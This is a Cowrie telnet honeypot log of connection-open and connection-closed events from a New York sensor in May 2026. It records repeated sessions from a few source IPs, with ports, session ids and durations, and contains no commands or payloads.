{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":32880,"dst_ip":"10.17.0.5","dst_port":23,"session":"f218e31cdf91","protocol":"telnet","message":"New connection: 162.219.178.250:32880 (10.17.0.5:23) [session: f218e31cdf91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:28.962618Z"}
{"eventid":"cowrie.session.closed","duration":45.28560519218445,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:29.487336Z","src_ip":"206.189.32.23","session":"63cb82ded24c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.134702682495117,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:30.061202Z","src_ip":"162.219.178.250","session":"8eb7f59753d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":33818,"dst_ip":"10.17.0.5","dst_port":23,"session":"156b6ec339ad","protocol":"telnet","message":"New connection: 162.219.178.250:33818 (10.17.0.5:23) [session: 156b6ec339ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:32.684953Z"}
{"eventid":"cowrie.session.closed","duration":7.031685829162598,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:34.013494Z","src_ip":"188.208.141.113","session":"85dae954dac3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":38516,"dst_ip":"10.17.0.5","dst_port":23,"session":"14e486817d0e","protocol":"telnet","message":"New connection: 162.219.178.250:38516 (10.17.0.5:23) [session: 14e486817d0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:34.129683Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":38998,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f21425c4729","protocol":"telnet","message":"New connection: 162.219.178.250:38998 (10.17.0.5:23) [session: 2f21425c4729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:34.539338Z"}
{"eventid":"cowrie.session.closed","duration":46.0775887966156,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:35.951593Z","src_ip":"188.208.141.113","session":"58ab99541957","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":43246,"dst_ip":"10.17.0.5","dst_port":23,"session":"e86a2ad647ac","protocol":"telnet","message":"New connection: 162.219.178.250:43246 (10.17.0.5:23) [session: e86a2ad647ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:36.706634Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":40338,"dst_ip":"10.17.0.5","dst_port":23,"session":"3672bca32cd8","protocol":"telnet","message":"New connection: 162.219.178.250:40338 (10.17.0.5:23) [session: 3672bca32cd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:37.555100Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":43442,"dst_ip":"10.17.0.5","dst_port":23,"session":"41cb43b96d11","protocol":"telnet","message":"New connection: 162.219.178.250:43442 (10.17.0.5:23) [session: 41cb43b96d11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:37.843321Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":38858,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d227e54a6a1","protocol":"telnet","message":"New connection: 162.219.178.250:38858 (10.17.0.5:23) [session: 4d227e54a6a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:39.468993Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":44728,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b582d448c4a","protocol":"telnet","message":"New connection: 162.219.178.250:44728 (10.17.0.5:23) [session: 5b582d448c4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:40.774388Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":49670,"dst_ip":"10.17.0.5","dst_port":23,"session":"945edc1228c8","protocol":"telnet","message":"New connection: 162.219.178.250:49670 (10.17.0.5:23) [session: 945edc1228c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:41.427991Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":47260,"dst_ip":"10.17.0.5","dst_port":23,"session":"328bd64a613c","protocol":"telnet","message":"New connection: 162.219.178.250:47260 (10.17.0.5:23) [session: 328bd64a613c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:42.699306Z"}
{"eventid":"cowrie.session.closed","duration":31.23974108695984,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:43.448000Z","src_ip":"162.219.178.250","session":"baa6599598eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.024423360824585,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:43.943717Z","src_ip":"188.208.141.113","session":"5dd1e455c710","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":54052,"dst_ip":"10.17.0.5","dst_port":23,"session":"f45c23ffcad2","protocol":"telnet","message":"New connection: 162.219.178.250:54052 (10.17.0.5:23) [session: f45c23ffcad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:44.344319Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":51388,"dst_ip":"10.17.0.5","dst_port":23,"session":"fad36b2c7b55","protocol":"telnet","message":"New connection: 162.219.178.250:51388 (10.17.0.5:23) [session: fad36b2c7b55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:45.593063Z"}
{"eventid":"cowrie.session.closed","duration":30.51568341255188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:45.760554Z","src_ip":"162.219.178.250","session":"ba7db764ef9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":57086,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e36e5c78aae","protocol":"telnet","message":"New connection: 162.219.178.250:57086 (10.17.0.5:23) [session: 8e36e5c78aae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:46.315000Z"}
{"eventid":"cowrie.session.closed","duration":120.0008294582367,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:46.882714Z","src_ip":"162.219.178.250","session":"1b90b932ba1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.96250033378601,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:48.543009Z","src_ip":"162.219.178.250","session":"477a3e859583","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":59290,"dst_ip":"10.17.0.5","dst_port":23,"session":"58b6c9084533","protocol":"telnet","message":"New connection: 162.219.178.250:59290 (10.17.0.5:23) [session: 58b6c9084533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:48.898750Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":55026,"dst_ip":"10.17.0.5","dst_port":23,"session":"9af09bb49f9f","protocol":"telnet","message":"New connection: 162.219.178.250:55026 (10.17.0.5:23) [session: 9af09bb49f9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:49.005098Z"}
{"eventid":"cowrie.session.closed","duration":31.52410054206848,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:49.121415Z","src_ip":"162.219.178.250","session":"d6ee7963b2d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":60388,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a6eac7f4e24","protocol":"telnet","message":"New connection: 162.219.178.250:60388 (10.17.0.5:23) [session: 9a6eac7f4e24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:49.711315Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":33868,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3c71127c2e1","protocol":"telnet","message":"New connection: 162.219.178.250:33868 (10.17.0.5:23) [session: e3c71127c2e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:49.944864Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":60292,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e27575c2291","protocol":"telnet","message":"New connection: 162.219.178.250:60292 (10.17.0.5:23) [session: 1e27575c2291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:51.613981Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":35418,"dst_ip":"10.17.0.5","dst_port":23,"session":"17393f095911","protocol":"telnet","message":"New connection: 162.219.178.250:35418 (10.17.0.5:23) [session: 17393f095911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:52.164954Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":33004,"dst_ip":"10.17.0.5","dst_port":23,"session":"3216ae2b10c1","protocol":"telnet","message":"New connection: 162.219.178.250:33004 (10.17.0.5:23) [session: 3216ae2b10c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:52.300736Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":37312,"dst_ip":"10.17.0.5","dst_port":23,"session":"4525b2c0c971","protocol":"telnet","message":"New connection: 162.219.178.250:37312 (10.17.0.5:23) [session: 4525b2c0c971]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:52.635236Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":37396,"dst_ip":"10.17.0.5","dst_port":23,"session":"8eeb2b296f56","protocol":"telnet","message":"New connection: 162.219.178.250:37396 (10.17.0.5:23) [session: 8eeb2b296f56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:52.699712Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":36284,"dst_ip":"10.17.0.5","dst_port":23,"session":"e83bb5844e24","protocol":"telnet","message":"New connection: 162.219.178.250:36284 (10.17.0.5:23) [session: e83bb5844e24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:52.867295Z"}
{"eventid":"cowrie.session.closed","duration":30.685494661331177,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:53.402632Z","src_ip":"162.219.178.250","session":"2c154d65f2e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00104284286499,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:53.876989Z","src_ip":"162.219.178.250","session":"bf9cfb043a23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.423197984695435,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:53.994388Z","src_ip":"162.219.178.250","session":"b70b7348ca0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":38170,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d6030c94466","protocol":"telnet","message":"New connection: 162.219.178.250:38170 (10.17.0.5:23) [session: 5d6030c94466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:54.275319Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":54946,"dst_ip":"10.17.0.5","dst_port":23,"session":"34ca29cba86f","protocol":"telnet","message":"New connection: 188.208.141.113:54946 (10.17.0.5:23) [session: 34ca29cba86f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:54.798299Z"}
{"eventid":"cowrie.session.closed","duration":120.00104212760925,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:55.403073Z","src_ip":"162.219.178.250","session":"c1dc9653a907","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":42292,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0137e5b1208","protocol":"telnet","message":"New connection: 162.219.178.250:42292 (10.17.0.5:23) [session: a0137e5b1208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:56.508846Z"}
{"eventid":"cowrie.session.closed","duration":30.189922332763672,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:56.650819Z","src_ip":"162.219.178.250","session":"62afad71b5e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.277188301086426,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:57.019382Z","src_ip":"162.219.178.250","session":"d6b93124149e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":43348,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb6d4ba05c48","protocol":"telnet","message":"New connection: 162.219.178.250:43348 (10.17.0.5:23) [session: fb6d4ba05c48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:57.314987Z"}
{"eventid":"cowrie.session.closed","duration":30.971696376800537,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:57.386659Z","src_ip":"162.219.178.250","session":"6067aaf320ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":43602,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1f36ed0f0d6","protocol":"telnet","message":"New connection: 162.219.178.250:43602 (10.17.0.5:23) [session: d1f36ed0f0d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:57.492302Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":40028,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba24bdea8704","protocol":"telnet","message":"New connection: 162.219.178.250:40028 (10.17.0.5:23) [session: ba24bdea8704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:57.650505Z"}
{"eventid":"cowrie.session.closed","duration":31.163808584213257,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:57.897020Z","src_ip":"162.219.178.250","session":"ec1228bfb5d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":43126,"dst_ip":"10.17.0.5","dst_port":23,"session":"5da0e16c5c8f","protocol":"telnet","message":"New connection: 162.219.178.250:43126 (10.17.0.5:23) [session: 5da0e16c5c8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:58.137051Z"}
{"eventid":"cowrie.session.closed","duration":44.987119913101196,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:58.601869Z","src_ip":"162.219.178.250","session":"00a86063977a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":45044,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebff3fc4925e","protocol":"telnet","message":"New connection: 162.219.178.250:45044 (10.17.0.5:23) [session: ebff3fc4925e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:58.609045Z"}
{"eventid":"cowrie.session.closed","duration":30.32270383834839,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:58.733106Z","src_ip":"162.219.178.250","session":"c9681baf32c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00153064727783,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:39:59.886196Z","src_ip":"162.219.178.250","session":"8a3f9c0e0b78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.196205854415894,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:00.158731Z","src_ip":"162.219.178.250","session":"f218e31cdf91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":42328,"dst_ip":"10.17.0.5","dst_port":23,"session":"927f2e1f2d8e","protocol":"telnet","message":"New connection: 162.219.178.250:42328 (10.17.0.5:23) [session: 927f2e1f2d8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:00.556852Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":43134,"dst_ip":"10.17.0.5","dst_port":23,"session":"687e06e0708c","protocol":"telnet","message":"New connection: 162.219.178.250:43134 (10.17.0.5:23) [session: 687e06e0708c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:01.167065Z"}
{"eventid":"cowrie.session.closed","duration":120.00202178955078,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:01.520585Z","src_ip":"162.219.178.250","session":"5040b1a3a9d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":47506,"dst_ip":"10.17.0.5","dst_port":23,"session":"c13fccbea9a5","protocol":"telnet","message":"New connection: 162.219.178.250:47506 (10.17.0.5:23) [session: c13fccbea9a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:01.544114Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":47516,"dst_ip":"10.17.0.5","dst_port":23,"session":"4593759f0942","protocol":"telnet","message":"New connection: 162.219.178.250:47516 (10.17.0.5:23) [session: 4593759f0942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:01.554976Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":47590,"dst_ip":"10.17.0.5","dst_port":23,"session":"8653be0adb51","protocol":"telnet","message":"New connection: 162.219.178.250:47590 (10.17.0.5:23) [session: 8653be0adb51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:01.612827Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45298,"dst_ip":"159.203.135.109","dst_port":23,"session":"4994edea8a83","protocol":"telnet","message":"New connection: 162.55.233.176:45298 (159.203.135.109:23) [session: 4994edea8a83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:01.641918Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":49610,"dst_ip":"10.17.0.5","dst_port":23,"session":"51362c974f8e","protocol":"telnet","message":"New connection: 162.219.178.250:49610 (10.17.0.5:23) [session: 51362c974f8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:02.271216Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":48740,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdc3353684ee","protocol":"telnet","message":"New connection: 162.219.178.250:48740 (10.17.0.5:23) [session: cdc3353684ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:02.538086Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":50676,"dst_ip":"10.17.0.5","dst_port":23,"session":"47b2842bb6d9","protocol":"telnet","message":"New connection: 162.219.178.250:50676 (10.17.0.5:23) [session: 47b2842bb6d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:03.151379Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":50788,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7b9ec5adcc7","protocol":"telnet","message":"New connection: 162.219.178.250:50788 (10.17.0.5:23) [session: a7b9ec5adcc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:03.215710Z"}
{"eventid":"cowrie.session.closed","duration":120.00118708610535,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:04.431767Z","src_ip":"162.219.178.250","session":"3e4cd21d74f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":51652,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3cc20866ac5","protocol":"telnet","message":"New connection: 162.219.178.250:51652 (10.17.0.5:23) [session: f3cc20866ac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:04.939527Z"}
{"eventid":"cowrie.session.closed","duration":120.00122594833374,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:05.006158Z","src_ip":"162.219.178.250","session":"ed0bbf238ccd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.935181617736816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:05.064775Z","src_ip":"162.219.178.250","session":"14e486817d0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":46264,"dst_ip":"10.17.0.5","dst_port":23,"session":"99e68e6a749b","protocol":"telnet","message":"New connection: 162.219.178.250:46264 (10.17.0.5:23) [session: 99e68e6a749b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:05.551269Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":53844,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5518a8f51a8","protocol":"telnet","message":"New connection: 162.219.178.250:53844 (10.17.0.5:23) [session: a5518a8f51a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:06.787642Z"}
{"eventid":"cowrie.session.closed","duration":120.00126504898071,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:08.079611Z","src_ip":"162.219.178.250","session":"c99669438143","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":52132,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bfbab18bfb7","protocol":"telnet","message":"New connection: 162.219.178.250:52132 (10.17.0.5:23) [session: 6bfbab18bfb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:08.365205Z"}
{"eventid":"cowrie.session.closed","duration":30.708707571029663,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:08.551936Z","src_ip":"162.219.178.250","session":"41cb43b96d11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":37012,"dst_ip":"10.17.0.5","dst_port":23,"session":"635ee43ba16f","protocol":"telnet","message":"New connection: 162.219.178.250:37012 (10.17.0.5:23) [session: 635ee43ba16f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:08.655286Z"}
{"eventid":"cowrie.session.closed","duration":45.00608825683594,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:09.440480Z","src_ip":"206.189.32.23","session":"91d9ef9b7009","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":53050,"dst_ip":"10.17.0.5","dst_port":23,"session":"aea312465be4","protocol":"telnet","message":"New connection: 162.219.178.250:53050 (10.17.0.5:23) [session: aea312465be4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:10.158316Z"}
{"eventid":"cowrie.session.closed","duration":47.764808177948,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:10.192586Z","src_ip":"206.189.32.23","session":"4cedb7caebe6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.838666677474976,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:10.523504Z","src_ip":"162.219.178.250","session":"156b6ec339ad","protocol":"telnet"}
